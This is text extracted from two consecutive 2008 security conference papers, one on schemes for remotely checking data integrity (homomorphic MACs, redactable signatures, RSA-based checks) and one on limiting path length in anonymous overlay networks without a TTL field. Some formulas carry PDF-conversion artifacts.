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We define the advantage Advextract
A (β, γ; κ) of adversary A w.r.t. algorithm

extract and security parameter κ as,

Advextract
A (β, γ; κ)=Pr

[
(x,Ms,Mc) ← ExplearnA (κ) ∧

SuccchalA (Ms,Mc) ≥ β ∧ SuccextractA (Ms,Mc;x) < γ

]
.

Definition 2. A remote integrity check system is (β, γ)-secure, if for any PPT
adversary A, there exists a PPT algorithm extract, the advantage Advextract

A
(β, γ; κ) of A is negligible in κ, i.e. for any positive polynomail poly(·), for all
sufficiently large κ,

AdvextractA (β, γ; κ) ≤ 1
poly(κ)

.

Trap-Door Compression. To highlight the difference between POR and
RIC, we introduce a notion of compressibility on hash function. From such
functions, we can design a RIC system that is not POR. We will give an in-
formal description here. Consider a keyed hash function H . We say that it is
a trap-door compression, if there is an efficient key generation algorithm that
produces a public key e, and private key d, and two PPT algorithms, the com-
pression C which is a many-to-one function that discards information, and D s.t.
for any r,

D(d, C(d, x), r) = H(e, r, x).

However, without knowing d, for any PPT compression C̃ and PPT algorithm
D̃, there exist many r’s, s.t.

D̃(e, C̃(e, x), r) �= H(e, r, x).

In other words, with the private key, it is possible to discard information and
yet compute the hash value for any r. However, it is difficult to do so without
the knowledge of the private key.

4 Schemes for Remote Integrity Check

4.1 AUTH: MAC and ECC

For completeness, we will describe the authenticator that uses message authen-
tication code (MAC) and error-correcting code (ECC) by Naor et al. [12].

Let us illustrate the scheme using Reed-Solomon code and a MAC that pro-
duces a κ bits tag. The file is represented as x = x1x2 . . . xm where each xi ∈ Zp

and p is prime. The owner chooses a secret key s. Next, x is encoded using
Reed-Solomon code, giving y = y1y2 . . . y2m. For each i, taking s as the key,
the MAC ti of (yi, i) is computed. Finally, the sequence of tuples (yi, ti), for
1 ≤ i ≤ 2m are sent to the server. During verification, the verifier chooses a
random r, 1 ≤ r ≤ 2m, and requests for the pair (yi, ti). The consistency of yi

and ti is then verified using the key s.
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Any modifications of a pair (yi, ti) can be detected using MAC. From the
unmodified data, the original can be reconstructed using Reed-Solomon code as
an erasure code. If the original is unable to be reconstructed, then at least m+1
pairs of {yi, ti}’s have been modified. Therefore, with probability more than 1/2,
the verifier rejects. To reduce the probability of false acceptance to below ε, the
verification can be carried out Θ(log 1

ε ) times, but incurring communication cost.
The storage required is large, which is at least 4 times larger than the original.

This authenticator can be employed for remote integrity check, and we call
it AUTH-(c, w), where the data of size mκ is expanded to size (c + 1)mκ using
ECC, and w randomly selected pairs (yi, ti)’s are accessed and checked during
each verification.

4.2 HTAG: Homomorphic MAC

This scheme also appeared in an earlier technical paper by Shacham et al. [14].
The main idea is to reduce communication bits in AUTH using homomorphic
MAC and an almost universal hash function. Each xi is associated with an
authentication tag ti. During verification, the verifier chooses a key r and asks
for the key-hashed value of x with r. Due to the homomorphic property of the
tags, the server can also compute the tag of the hashed value from ti’s. Thus the
verifier can check whether the server has carried out the computation honestly.

Setup. The owner chooses a κ bits prime p. The file is represented as x =
x1x2 . . . xm where xi ∈ Zp for each i. The owner randomly chooses s and α from
Z
∗
p. Let si = G(s, i) for i = 1, 2, 3, . . . , m, where G is a secure pseudo random

number generator. The owner computes a tag ti = αxi + si mod p, for each i,
and sends x, ti’s and p to the server. The value s and α are kept as secrets.

Verification. The verifier chooses a random r from Z
∗
p and sends r to the server.

The server computes A and B as follow and sends them to the verifier.

A = Hp(r;x) �
m∑

i=1

rixi mod p, B =
m∑

i=1

riti mod p.

The verifier accepts if B ≡ αA + Hp(r, s) (mod p).

Theorem 1. HTAG is (0.5, 1 − negl(κ))-secure, assuming G(·, ·) is a crypto-
graphic secure pseudo random number generator, where negl(·) is a negligible
function and κ is the security parameter.

Tradeoff. By adding redundancy, the variant HTAG-(c, w) can reduce the number
of read accesses at the cost of storage size. The data x1x2x3 . . . xm is encoded as
y1y2 . . . ycm+m using an ECC. Each yi is associated with a tag ti. During each
verification, the verifier chooses w random indices i1, i2, . . . , iw and sends these
w indices together with the random key r to the server. The server computes and
sends A = Hp(r; yi1 , yi2 , . . . , yiw ) and B = Hp(r; ti1 , ti2 , . . . , tiw) to the verifier.
To further reduce communication bits, the w indices are generated from a seed
r0, so that only two numbers r and r0 are sent.



232 E.-C. Chang and J. Xu

4.3 HENC: Homomorphic Encryption

We give another simple scheme HENC. It also uses a homomorphic tag similar
to HTAG but its goal is to reduce storage size instead of communication bits. In
its basic form, it requires high communication cost but can be made efficient by
incorporating other techniques.

Setup. The owner chooses a p = 2q + 1, where both p, q are primes, and a
generator g of Z

∗
p. The file is organized as x1x2x3 . . . xm where each xi ∈ Zp−1.

The file and p are then sent to the server. The owner also chooses r from Z
∗
p−1,

and computes

h =
m∑

i=1

rixi mod (p − 1). (1)

Both r and h are kept as secrets. It is not necessary to keep g secret.

Verification. The verifier picks a random α, and sends the sequence

〈 bi = gαri

mod p 〉i=1,2,3,...,m

The server is supposed to compute and return A =
∏m

i=1 bxi

i mod p.The verifier
accepts if A ≡ gαh (mod p).

Remarks
1. HENC is (0.5, 1 − negl(κ))-weakly secure, assuming that it is difficult to distin-
guish bi’s from random numbers.

Theorem 2. The scheme HENC is (0.5, 1 − negl(κ))-weakly secure under As-

sumption 3, where negl(·) is a negligible function and κ is the security para-
meter.

Assumption 3. Let p = 2q + 1 where p, q are primes, and g be a generator
of Z

∗
p. The following two sequences, where r, r1, r2, . . . , rm are uniformly chosen

from Z
∗
p−1, are computationally indistinguishable.

R0 : 〈gr1mod p, gr2mod p, . . . , grmmod p〉
R1 : 〈grmod p, gr2

mod p, . . . , grm

mod p〉

The main idea of the proof is as follow. Suppose there is a successful adversary.
Consider a tester who, on input of m number, v1, v2, . . . , vm, generates instances
for the learning phases, and simulates the adversary. Each learning instance is the
sequence va

i mod p for i = 1, . . . , m, where a is randomly chosen. Next, the tester
simulates a honest server, and the adversary during the challenge phase. If both
produce the same response, the tester outputs 1, otherwise outputs 0. We can show
that, if the input is from R0, the expected output is less than 0.3, whereas if the
input is of the form gri

mod p, then the expected output is not less than 0.5 This
contradicts Assumption 3.
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2. To enhance the scheme from weakly-secure to secure, we require a PPT ex-
tractor. This can be achieved by the following modifications. Instead of choosing
a prime p as modulus, we can incorporate the Paillier cryptosystem [13] and
choose n2 as modulus, where n is a composite, and an appropriate g. By prop-
erty of the Paillier cryptosystem, with the knowledge of the private key, the
verifier can perform discrete-log. To recover the original from the storage, the
extractor simulates sufficiently large number of verifications by sending the bi’s
of the form

gr̂mod n2, gr̂2
mod n2, . . . gr̂m

mod n2

where r̂ is randomly chosen for each verification. The correct response from the
server gives the sample of a m-degree polynomial evaluated at r̂. There may be
“errors” in the server’s responses, which can be corrected using list decoding.
Thus, we have a (0.5, 1 − negl(κ))-secure scheme.

3. Using bilinear map, communication required can be reduced to
√

m numbers.
Note that it is not necessary to use the r, r2, r3, . . . , rm as coefficients in (1). They
can be a sequence of pseudo random numbers r1, r2, . . . , rm chosen during setup
phase. We can also construct each of the m coefficients using the sum ri + rj ,
for i, j = 1, 2, . . . ,

√
m, where the ri’s are pseudo random. Now, using bilinear

map, the number of values to be sent is reduced to
√

m. That is, the verifier
just need to send the sequence gri

1 ’s, and the server can compute e(gri
1 , g

rj

1 ) to
obtain g

ri+rj

2 for any i and j, where e(·, ·) is the bilinear map and g1 and g2

are generators of the two respective groups. We can show that this variant is
weakly secure. However, it is not clear how to incorporate Paillier cryptosystem
into this variant.

4.4 HYB-(c, w, �): Hybrid of HENC with HTAG

For simplicity, we first explain the algorithm when c = 0 and w = mκ/�, where
the file size is mκ. Thus, the only parameter is �. The data x is grouped into
blocks. The scheme HENC is applied on each block to obtain a sequence of hash
values. Next, the homomorphic MAC is applied on the hash values.

Setup. The owner choose a κ bits p = 2q + 1 where both p, q are prime, and
a generator g of Z

∗
p. Organized the file into u blocks and each block contains �

numbers from Zp−1. Let xi,j be the j-th number in the i-th block. The owner
chooses a random r from Z

∗
p−1, and a seed s. Let si = G(s, i) for 1 ≤ i ≤ u

where G is a pseudo random number generator. Compute the tag ti for the i-th
block as follow:

hi = Hp−1(r; xi,1, xi,2, . . . , xi,�) =
�∑

j=1

xi,jr
j mod (p − 1),

ti = (hi + si) mod (p − 1).

Send the data xi,j ’s, tags ti’s and p to the server. Keep s and r as secrets. It is
not necessary to keep g secret.
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Verification

1. The verifier chooses random numbers a, α from Z
∗
p and computes a sequence

of numbers b1, b2, . . . , b� where bi = gαri

mod p. The verifier sends a and
the bi’s to the server.

2. The server computes values A and B as follow and sends them to the verifier.

B =
u∏

i=1

�∏
j=1

b
aixi,j

j mod p, A =
u∑

i=1

tia
i mod (p − 1).

3. The verifier accepts if BgαHp−1(a;s1,s2,...,su) ≡ gαA (mod p).

Security. We can show that HYB is (0.5, 1 − negl(κ))-weakly secure, assuming
that the sequence bi’s is pseudo random, and the following assumption. The
second assumption is required to ensure “forgery” of tags is difficult.

Assumption 4. Let p be a κ bits prime, and g be a generator of Z
∗
p. Given a

sequence b1, b2, . . . , bm, where bi = gαri

mod p, and α, r are uniformly randomly
distributed over Zp, it is infeasible to compute a pair of values (C, D) such that
C = Dα and D 
= 1.

Similarly, by using Paillier cryptosystem, we have a scheme that is (0.5, 1 −
negl(κ))-secure.

Tradeoff. By adding redundancy, HYB-(c, w, �) can tradeoff server’s storage with
the number of read accesses per verification, without incurring more communica-
tion bits. The mκ-bits file is first encoded using ECC and expanded to (c+1)mκ
bits. During each verification, only w blocks are selected. Therefore, the total
number of bits accessed is reduced to O(wκ�).

4.5 REDACT: Redactable Signature Scheme

Redactable signature scheme is a homomorphic signature scheme [9]. We con-
sider such schemes for unordered sets where a message is a set x = {x1, x2, . . . ,
xm} of objects, and a set x′ is a redacted message of x if x′ ⊂ x. As usual, with
the private key, the signer can compute a signature σ. A redactable signature
scheme enables an entity, known as the redactor, to compute a valid signature for
a redacted message x′ from the message x and its signature σ, without knowing
the private key. Hence, the scheme consists of three algorithms Sign, Redact,
and V erify. There are known schemes [9] that produce short signature of length
within a constant factor of the key size κ.

The main idea in REDACT is simple: The data x = x1x2 . . . xm is first encoded
using ECC to get y = y1y2 . . . y2m (so the redundancy rate c = 1). The encoded
data y is then represented as an unordered set px = {(1, y1), (2, y2), . . . , (2m,
y2m)}. The owner signs the unordered set px, and the server stores the original x
and the signature σ. Thus, the addition storage size is O(κ). During verification,
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the verifier sends an index, say i. The server is supposed to compute yi from x.
By property of the redactable signature scheme, the signature σi for the singleton
set {(i, yi)} can be computed by the server. The verifier then check whether σi is
a valid signature of {(i, yi)}. Since the verifier does not need to know the private
key, this scheme can be employed in scenarios where the verifier is not the owner.

Theorem 5. REDACT is (0.5, 1 − negl(κ))-secure, if the redactable signature
scheme employed by REDACT is unforgeable, where negl(·) is a negligible func-
tion and κ is the security parameter.

Tradeoff. Let us consider the extension REDACT-(c, w, �) which reduces number
of bits accessed at the cost of the server’s storage. Using ECC, the data x is
expanded by a factor of (c + 1). Next, the encoded data is divided into blocks,
where each block contains � elements and each elements is κ bits. Each block is
signed independently. Thus there are (c+1)m/� signatures. During the verifica-
tion phase, the verifier sends w random indices i1, i2, . . . , iw to the server. The
server computes signatures σij ’s for each yij and sends them to the verifier.

4.6 RSAb: Trapdoor Compression

Filho et al. [7] proposed a RSA-based scheme. We will describe this scheme here
and call it RSAb. Note that RSAb is not a POR system, and it seems to be a
trap-door compression and secure RIC system. However, there is no proof yet.

Setup. Data x is represented as a single integer. Choose a κ bits RSA modulus
n. The owner keeps s = x mod φ(n) as secret, and sends x and n to the server.

Verification. Verifier randomly chooses r ∈ Z∗
n and sends r to the server. Server

computes z = rx mod n and sends it back to the verifier. Verifier accepts if,
rs ≡ z (mod n).

Note that the function H(x, r0) = rx
0 mod n, where r0 is a fixed constant with

maximum order in Z
∗
n, is collision resistant, assuming factorization is difficult.

It is easy to show that, an adversary who can evade detection, must employ a
one-way function to discard information. If not, the adversary can find a collision.

Tradeoff. We give an extension RSAh-(c, w, �) by exploiting a homomorphic
property and incorporating ECC. This hybrid achieves the best asymptotic per-
formance among the schemes discussed here.

The data x of mκ bits is encoded using ECC. The encoded data of size
(c + 1)mκ is divided into blocks, where each block is represented as a single
�κ-bits integer. Let bi be the i-th block. Each bi is associated with a tag

ti = gbi+si mod n,

where n is the κ-bits RSA modulus, g an element with large order, and the si’s
are secrets chosen by the owner. The data bi’s, tags ti’s, and n are sent to the
server.
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During verification, the verifier randomly chooses α and r from Zn, and com-
putes h = gα mod n. The verifier also chooses w random indices i1, i2, . . . , iw,
and sends these w indices, h and r to the server. Let b̂j = bij , ŝj = sij and
t̂j = tij for each 1 ≤ j ≤ w. The server is supposed to compute and send back
H and T defined as follow:

H = hu mod n, where u =
w∑

i=1

ri b̂i, T =
w∏

i=1

( t̂i )ri

mod n.

The verifier accepts if Hgαv ≡ T α (mod n) where v =
∑w

i=1 riŝi.
The w indices can be generated from a short seed using pseudo random num-

ber generator, and si’s can also be generated from another short seed. Although
not obvious at first glance, RSAh can be treated as an extension of RSAb.

Efficiency. For RSAb, the communication cost, verifier’s storage size, and addi-
tional server’s storage size are O(κ) bits, and the number of read access is mκ bits
which is exactly the size of the data. The variant scheme RSAh-(c, w, �) reduces
the number of read access to (1 + �)wκ bits at the cost of (c + 1+c

� )mκ + O(κ)
bits of additional storage. The communication cost are still in O(κ) bits. Hence,
in term of asymptotic performance, RSAh-(c, w, �) is the most efficient among the
proposed schemes.

5 Conclusion

The subtle difference between RIC and POR seems to be profound, and related
to compressibility of hash functions. This is illustrated by the simple scheme
RSAb. Although in a simple form, RSAb is not easy to analyze and new techniques
seems to be required. In this paper, we focus on asymptotic performance. It is also
interesting to investigate the performance of the proposed schemes in practical
scenarios, and how to combine the underlying techniques for better tradeoff.

Acknowledgement. The authors wish to thank the anonymous reviewers for
pointing out relevant references and their valuable suggestions, and Aldar Chan,
National University of Singapore, for the insightful discussions.
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Abstract. An alternative to guarantee anonymity in overlay networks
may be achieved by building a multi-hop path between the origin and
the destination. However, one hop in the overlay network can consist
of multiple Internet Protocol (IP) hops. Therefore, the length of the
overlay multi-hop path must be reduced in order to maintain a good
balance between the cost and the benefit provided by the anonymity
facility. Unfortunately, the simple Time-To-Live (TTL) algorithm cannot
be directly applied here since its use could reveal valuable information
to break anonymity. In this paper, a new mechanism which reduces the
length of the overlay multi-hop paths is presented. The anonymity level
is evaluated by means of simulation and good results are reported

1 Introduction

Over the last years, we have witnessed the emergence of different types of overlay
networks in the Internet, such as the peer-to-peer file sharing systems or the real-
time content delivery applications [1]. In these new scenarios, concerns about
anonymity significantly arise among the user community. Anonymity refers to
the ability to do something without revealing one’s identity (in this case, the
user’s) [2]. The simplest solution to provide anonymity in overlay networks is to
select several relay nodes in the route from the sender to the receiver. In this way,
even if a local eavesdropper observes a message being sent by a particular user,
it can never be sure whether the user is the current sender, or if the message is
forwarded by a relay node.

Similar techniques have been widely studied in the past to provide anonymity
in IP networks. One of them is Crowds [3], in which each node decides to deliver
the message to a intermediate or destination node by flipping a biased coin (with
probabilities pf and 1−pf respectively). Nevertheless, the use of this mechanism
in overlay networks is not appropriate, because the forwarding procedure is not
limited in any way, and as it known, in overlay networks neighbour nodes are
connected by means of logical links, each one comprised of an arbitrary number
of physical links. Fig. 1 shows an example of overlay network topology, which

S. Jajodia, and J. Lopez (Eds.): ESORICS 2008, LNCS 5283, pp. 238–250, 2008.
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Fig. 1. Overlay Network

is composed of 5 overlay nodes from 3 ASes. From the figure, we can see that
some of the overlay links are overlapped at physical layer even though they are
completely disjoing at overlay service layer. This is one of the special character-
istics of overlay networks. In addition, we can see that each of the overlay links
is usually composed of several physical links [4]. Therefore, a serious increase
in the length of the overlay path among the origin and the destination nodes
could imply an exponential cost, in terms of bandwidht consumption and nodes
overload.

A straightforward implementation to limit the path length makes use of the
Time-To-Live (TTL) field, but there are multiple situations in which this im-
plementation will immediately reveal to an ”attacker” who the initiator node
is. This paper proposes a mechanism that limits the length of overlay multi-hop
paths without using a TTL (Time-To-Live) scheme. However, this mechanism is
not restricted to this scenario, it can also be applied in a more general scenario.
Furthermore, simulation results show that this mechanism presents a degree of
anonymity equivalent to Crowds.

The remainder of the paper is organized as follows. Section 2 overviews some
relevant works about anonymous systems. Section 3 presents the different re-
quirements that must be satisfied in order to limit the path length. Section 4
introduces our proposal, called the Always Down-or-Up (ADU) mechanism. In
section 5 our algorithm is evaluated analytically. In section 6 the anonymity
level achieved by the proposed mechanism is evaluated by means of simulation.
Finally, section 7 concludes the paper.

2 Related Work

The seminal paper on anonymous sytems was written by David Chaum [5]. He
proposed a system for anonymous email based on the so called mix networks.
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A mix node shuffles a batch of messages and delivers them in random order.
The sender and the mix node use public key cryptography in order to hide the
correspondence between input and output messages.

The mix networks design has been followed by many anonymous systems.
The first widely used implementation of mix networks was the Type I cypher-
punk anonymous remailers [6], using PGP [7] encryption to wrap email messages
and deliver them anonymously. They were followed by MixMaster [8], and then
MixMinion [9], which use the same basic principles, but split messages into equal-
sized chunks and send each of them along potentially different routes, in order
to defeat traffic analysis.

The concept of mix networks was first translated into the domain of general
IP traffic by Wei Dalai, in his proposal for PipeNet [10]. PipeNet would build
anonymous channels for low-latency, bidirectional communication, using layered
encryption similar to Chaum’s design. This layering suggested the title of Onion
Routing for the first implementation of his type of IP forwarding [11]. Other
implementations followed, including the commercial deployment of the Freedom
Network [13] and the more recent effor behing Tor [12], a second-generation
onion routing design.

Although the mix design has been quite influential, there are a number of
notable alternatives. A network that uses a different approach is Crowds [3], de-
signed for anonymous web browsing. Briefly, Crowds nodes forward web request
to each other at random, executing a form of a random walk. At each step the
random walk may probabilistically terminate and the current node then sends
the request to the web server. The interesting feature of this system is that
anonymity is achieved not only through having the messages under considera-
tion forwarded by other honest nodes, but also through forwarding messages for
other honest nodes and hiding the considered ones among them.

3 Background

In Crowds, the initiator node creates a packet containing a random path identi-
fier, the IP address of the responder and the data. Then, it flips a biased coin.
With probability 1−pf (pf is the probability of forwarding and it is a parameter
of the system) it delivers the message directly to the responder or destination
node, and with probability pf it chooses randomly the next relay node. Each
node receiving a packet with a new path identifier randomly decides- based on
pf - whether to forward it to the responder or to another (randomly chosen) relay
node. With this original algorithm the forwarding procedure is not limited and,
as we previously pointed out, it could be a tragedy regarding communication
costs in an overlay scenario.

A possible solution is to restrict the maximum length of the paths. The sys-
tem operates as the traditional scheme but, when the number of hops reaches
a certain limit (called S), the path will be directed towards the destination
node, irregardless of probability pf . A straightforward implementation of the
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Fig. 2. Limitation of the TTL

bounded-length random walk consists of using a time-to-live (TTL) field, initially
set to S, and processing it like in IPv4 networks [14]. In IPv4, TTL is an 8-bit
field in the Internet Protocol (IP) header. The time to live value can be thought
of as an upper bound on the time that an IP datagram can exist in an internet
system. The TTL field is set by the sender of the datagram, and reduced by
every router on the path to its destination. If the TTL field reaches zero before
the datagram arrives at its destination, then it is discarded and an ICMP error
datagram is sent back to the sender. The purpose of the TTL field is to avoid a
situation in which an undeliverable datagram keeps circulating on Internet, and
such a system eventually becoming swamped by such immortal datagrams. In
theory, time to live is measured in seconds, although every host that passes the
datagram must reduce the TTL by at least one unit. In practice, the TTL field
is reduced by one on every hop. To reflect this practice, the field is named hop
limit in IPv6.

However, there are multiple situations in which this implementation will imme-
diately reveal to a “corrupt” node whether the predecessor node is the initiator or
not. For example, in Fig. 2 we assume that the TTL has a predefined value of 255
for every path. In the example, node A is the path originator and randomly chooses
node E as the next relay node in the path. Therefore, node A sends a packet to
node E with a value of TTL = 255. If node E is a corrupt node, when it receives the
packet it can easily deduce that node A is the path originator because the value of
the TTL is the original. Therefore, with this simple solution the overlay network
is not able to keep and adequate anonymity level.

An approach to solve this problem is to use high and randomly chosen (not
previously known) values for the TTL field. However, the objective is to limit
the forwarding procedure, and high values for the TTL represent long multi-hop
paths. Therefore, the TTL would have to be small. But, in this case, the range of
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possible random values for the TTL is too restricted, and it results in a similar
situation to the one of a well-known TTL value among all the users. In this last
case, corrupt nodes can easily derive whether the predecessor node is the origin
of the intercepted message or not.

We can conclude that the TTL methodology is not appropriate to limit the
length of multi-hop paths. Next section introduces a new mechanism that limits
the length of overlay random walk paths without offering extra information to
possible corrupt nodes.

4 Proposed Mechanism

The algorithm proposed in this work, as in Crowds, is based on the random-
walk procedure. However, the variance associated to the length of the multi-hop
paths is smaller than that in Crowds. Our objective is to limit the forwarding
procedure. If the variance associated to the length of the paths is very high,
it is possible that the real length of the path is also very high although the
mean length of the path is not high. Our mechanism has a very low variance
and it can be viewed as a quasi-deterministic mechanism of a statistical TTL
implementation, because the real lenght of the path will be very similar to its
statistical mean length.

Our first attempt is the always-down (AD) algorithm: The path originator
chooses a uniform random integer (called u) between 1 and a predefined para-
meter M . If the value of u is equal to 1, the originator sends the request directly
to the destination. Otherwise, the node forwards the request to a random node
together with the random number u. The next node performs the same operation
but replacing the upper bound M with the value of u. The mechanism continues
in a recursive way, decreasing the size of the interval [1, u) in each step. How-
ever, with this algorithm there is still correlation between the random number
u and the hop length: although little values do not reveal anything about the
path length, great ones do, since they can only appear at the first steps of the
algorithm.

The opposite algorithm, called always-up (AU) has the same benefits and
drawbacks. Now, at each step the node chooses a uniform random number be-
tween (u, M ]. When a node selects M , the random walk procedure ends and the
request is directly sent to the responder. In this case, great values of u do not
reveal anything about the path length, but small ones do, since they can only
appear at the first steps of the algorithm.

In order to avoid this critical issue, we propose to mix both mechanism as fol-
lows: The path originator chooses a random number (called u) between 1 and M .
When this number is equal to 1 or equal to M , the originator node sends the re-
quest to the responder. If u is lower than a parameter LOW BORDER, the algo-
rithm works like AD. However, if u is greater than a paramater TOP BORDER,
the algorithm operates like AU. Finally, if u drops between LOW BORDER
and TOP BORDER, the operation mode (AD or AU) is chosen randomly.
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Fig. 3. Parameters of the algorithm

The parameters LOW BORDER and TOP BORDER are not fixed; every
path originator chooses a random value for these parameters when it creates a
new path. The only requirement is that these parameters are symmetric with
respect to 1 and M.

This new algorithm is called always down-or-up (ADU) and it is able to
statistically limit the length of the path in an anonymous environment. In order
to speed up the algorithm, we introduce an additional parameter called e: If the
new chosen random number is smaller than or equal to e (or it is greater than
M − e) the originator node delivers the request to the responder.

The full set of parameters used by our algorithm is: M , e, LOW BORDER
and TOP BORDER. Figure 3 represents these parameters in a numerical
straight line.

5 Evaluation

Next, we present the analytical evaluation of the random variable l that repre-
sents the length of the path.

We define

Pi,AD(l = x) (1)

as the probability that this random variable takes the value x in the AD algo-
rithm with parameter M = i.

For the AD algorithm with parameters e and M we have deduced the following
expressions

PM,AD(l = 1) =
e

M
(2)

PM,AD(l = x|u1 = i) = Pi−1,AD(l = x− 1) e + (x− 1) ≤ i ≤ M (3)

The interpretation of this first equation is obvious. On the other hand,
Fig. 4 helps us to understand the second equation. This figure represents a
specfic scenario with parameters M = 5 and e = 2. As can be observed, the
calculation of every probability can be reduced to a smaller problem, in function
of the previous probability and the first selected random number. The possible
values for the first random number (u1 = i) is restricted by the values of e
and M , and also by the value of the probability to be calculated (P (l = x)).
From this, we can obtain the possible values of the probabilities, that are also
restricted

l ≤ M − e + 1 (4)
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Fig. 4. Graphical interpretation

Next, we obtain a general expression for the previous equation

PM,AD(l = 1) =
e

M
(5)

PM,AD(l = x) =
1
M

M∑
i=e+(x−1)

Pi−1,AD(l = x− 1) 1 < x ≤ M − e + 1 (6)

As can be observed, the function obtained is a recursive equation. This means
that the probabilities associated with values of l greater than 1 are calculated
from the previous probabilities.

Next, we concentrate on the ADU algorithm. We know that

PM,ADU (l = 1) =
2 · e
M

(7)

In order to calculate the rest of probabilities, the problem can be reduced to
three different sub-problems regarding the value of the first random number u.
If it is lower than LOW BORDER or it is greater than TOP BORDER the
algorithm works like AD or AU, respectively. The two previous scenarios can
be interpreted as the AD algorithm when M = LOW BORDER, simplifying
the study without loss of generality. However, in this case, the random variable
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Table 1. Values of parameters for specific l

ADU Crowds

l M e pf

2 100 21 0.5

3 100 8 0.6667

4 100 3 0.75

5 150 2 0.80

6 350 2 0.8333

l is conditioned to be greater than 1, because to select this algorithm the path
cannot finish in the first hop. Therefore

PM,AD(l = x|x > 1) = PM,AU (l = x|x > 1) =
PM,AD(l = x)
PM,AD(l > 1)

=
PM,AD(l = x)

1− e
M

(8)
If the first random number u drops between LOW BORDER and TOP BO−
RDER, the operation mode (AD or AU) is chosen randomly (RAND). In this
case, without loss of generality, this scenario can be simplified as if the AD
algorithm was always selected with M = TOP BORDER, since both AD and
AU are equivalent in term of their statistical moments. Therefore, equation (6)
can be used to find the probability, but now, the first selected random number
has to be between LOW BORDER and TOP BORDER. Therefore

PM,RAND(l = x) =
1

TOP BORDER

TOP BORDER∑
i=LOW BORDER+(x−1)

Pi−1,AD(l = x− 1)

(9)
where the probability Pi−1,AD(l = x− 1) is calculated using (6).

Finally, in this case the random variable l is also conditioned to be greater
than 1, and therefore

PM,RAND(l = x|x > 1) =
PM,RAND(l = x)

1− LOW BORDER
M

(10)

The last step to calculate the probabilities associated with values of l greater
than 1 is to appropriately weight the probabilities deduced for the three different
possibilities (AD, AU and RAND):

PM,ADU (l = x) = (1− PM,ADU (l = 1)) · (PAD · PM,AD(l = x|x > 1)+
+PRAND · PM,RAND(l = x|x > 1) + PAU · PM,AU (l = x|x > 1)) (11)

Then, the probability mass function can be used to calculate the associated
statistical parameters. For example, to calculate the mean value,

E(l) = l =
M∑
i=1

i · PM,ADU (l = i) (12)
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Table 2. Variance of the length of the paths

l ADU Crowds

2 1.3337 2

3 2.3559 6

4 3.4135 12

5 4.5062 20

6 5.5821 30

Table 1 presents the appropriate values for the parameters M and e in order to
achieve representative values for l. The table represents low values (between 2
and 6) because, as we previously said, the objective is to achieve short multi-
hop paths, which implies that the cost associated with the anonymous commu-
nication (bandwidth consumption and delay) may be reduced, and this type of
application can be optimally implemented in overlay scenarios.

The previous table also represents the appropriate value of pf to achieve the
same values of l in Crowds. It is known that the mean length of the multi-hop
paths created using the Crowds mechanism follows the geometrical expression:
l = 1

1−pf
. We compare our scheme with Crowds because it is also based on

random walk procedure.
Table 2 presents the variance of the length of the paths for ADU and Crowds.

The variance of the ADU paths is calculated using:

V (l) = E(l2) − E(l)2 (13)

on the other hand, for Crowds it is known that

V (l) =
pf

(1 − pf)2
(14)

It is observed that the variance in ADU is always significantly smaller than in
Crowds. This behaviour enables to interpret the ADU algorithm like a quasi-
deterministic TTL implementation. Therefore, the mechanism achieves the tar-
get goal.

6 Analysis of Anonymity

The anonymity level achieved by the proposed mechanism is evaluated by means
of simulation following the methodology exposed in [15]. This methodology is
based on the use of the entropy as a measure of the anonymity level. This concept
was presented in [16], and it can be summarized as follows: It is assumed that
there is a total number of N nodes, C of them are corrupt and the rest honest.
Corrupt nodes collaborate among them trying to find out who is the origin of the
messages. Based on the information retrieved from corrupt nodes, the attacker
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assigns a probability (pi) of being the origin of a particular message for each
node. The entropy of the system (H(X)) can be computed by:

H(X) = −
N∑

i=1

pilog2(pi) (15)

where X is a discrete random pariable with probability mass function pi =
P (X = i). The degree of anonymity (d) of the system can be expressed by:

d = − 1
HM

N∑
i=1

pilog2(pi) (16)

where HM is the maximum entropy of the system, which is satisfied when all
honest nodes have the same probability of being the origin of the message.

If a message goes only through honest nodes the degree of anonymity will be
d|honest nodes = dh = 1. If we assume that the message goes through at least one
corrupt node with probability pc and it crosses only through honest nodes with
probability ph = 1− pc, the mean degree of anonymity of the system is:

d = pc · d|corrupt nodes + ph · dh = pc · dc + ph (17)

Next, we present the simulation methodology proposed in [15]. First, let us
introduce two random variables: X , modelling the senders (X = 1, ..., N − C),
and Y , modelling the predecessor observed by the first corrupt node in the
path (Y = 1, ..., N − C,�; where � represents that there is not an attacker in
the path). The probability distribution computed in equation 15 is really the
distribution of X conditionated on a particular observation y. Therefore, the
entropy metric evaluates H(X |Y = y) for some y, and it can be calculated as

H(X |Y = y) = −
∑

x

qx,ylog2(qx,y) (18)
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Fig. 5. d with confidence intervals as a function of the number of iterations
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The distribution qx,y is an estimate of the true distribution pi. The way to cal-
culate it is as follows: We keep a counter Cx,y for each pair of x and y. We
pick a random value x for X and simulate a request. The request is forwarded
according to the algorithm until it either is sent to the destination or is inter-
cepted by a corrupt node (this is 1 iteration). In the former case, we write down
the observation y = �, while in the latter case we set y to the identity of the
predecessor node. In both cases, we increment Cx,y. This procedure is repeated
a number of n iterations (later we will obtain an appropriate value for n).

Next, we can compute qx,y as follows

qx,y =
Cx,y

Ky
(19)

where Ky =
∑

x Cx,y.
On the other hand, the average entropy of the system, taking into account

that a message can also go through honest nodes, can be expressed by

H =
∑
y≥1

Pr[Y = y]H(X |Y = y)+

+Pr[Y = �]H(X |Y = �) =
∑

y

Pr[Y = y]H(X |Y = y) (20)

With these definitions we can redefine expression 17 as,

d =
1

HM

∑
y

Pr[Y = y]H(X |Y = y) (21)

The previous simulation methodology has been implemented in a simulator writ-
ten in C language. First, in order to obtain an appropriate value for n we simu-
late an scenario with l = 4 for different number of iterations. Figure 5 presents
the results with the 95 % confidence intervals. We can see that from 10,000
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iterations, the accuracy of the simulation results is within the 0.1 % with respect
to the stable value. Therefore, in our simulations n is set to 10,000.

Figure 6 compares d for Crowds and ADU when N=100 and C=10. It rep-
resents the anonymity level according to the mean length of the paths, from 1
to 10. These small values have been selected because, as it was previously men-
tioned, our objective is to achieve shor multi-hop paths. It can be observed that
the degree of anonymity achieved by the ADU algorithm perfectly matches the
degree of anonymity achieved by Crowds.

7 Conclusions

In traditional (like Crowds) anonymous networks, the anonymity is achieved
by building a multiple-hop path between the origin and the destination nodes.
However, the cost associated with the communication increases dramatically as
the number of hops also increases. Therefore, in these scenarios limiting the
length of the paths is a key aspect of the protocols design.

Unfortunately, the common TTL methodology cannot be used to this purpose
since corrupt nodes can employ this field to extract some information about the
sender identity. Consequently, in this work an effetive mechanism to reduce the
variance associated with the length of the random walks in anonymous overlay
scenarios is proposed.

